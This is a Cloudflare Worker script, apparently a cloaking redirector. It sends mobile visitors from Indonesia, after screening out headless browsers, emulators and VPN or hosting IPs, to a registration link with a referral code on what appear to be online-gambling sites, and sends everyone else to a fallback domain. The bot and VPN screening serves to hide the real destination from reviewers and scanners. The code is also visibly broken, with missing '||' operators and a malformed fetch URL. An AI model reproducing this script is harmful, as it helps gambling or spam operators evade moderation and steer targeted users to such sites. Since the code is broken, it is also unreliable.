export default { async fetch(request) { const userAgent = request.headers.get("User-Agent") ""; const cfCountry = request.headers.get("CF-IPCountry") "XX"; const ip = request.headers.get("CF-Connecting-IP") ""; // 📱 Detect Mobile const isMobile = /android|iphone|ipad|ipod|opera mini|mobile/i.test(userAgent); // 🤖 Emulator / Bot const isEmulator = /HeadlessChrome|PhantomJS|wv/i.test(userAgent); // 🔍 Check VPN / Proxy const checkVPNProxy = async (ip) => { try { const controller = new AbortController(); const timeout = setTimeout(() => { controller.abort(); }, 2500); const response = await fetch(https://ipwho.is/${ip}, { signal: controller.signal }); clearTimeout(timeout); if (!response.ok) { return { isVPN: false }; } const data = await response.json(); // ⚠️ Jangan terlalu agresif const isVPN = data.proxy === true data.connection?.type === "hosting"; return { isVPN }; } catch (e) { return { isVPN: false }; } }; // Default aman let isVPNUser = false; // Hanya check kalau ada IP if (ip) { const vpnInfo = await checkVPNProxy(ip); isVPNUser = vpnInfo.isVPN; } // ========================= // 🎯 TARGET TRAFFIC // ========================= if ( isMobile && cfCountry === "ID" && !isEmulator && !isVPNUser ) { return Response.redirect( "https://ketua.izincsplay.com/daftar?ref=AGADB1653179", 302 ); } // ========================= // 🛑 FALLBACK // ========================= return Response.redirect( "https://jendralhoki88.org/", 302 ); } };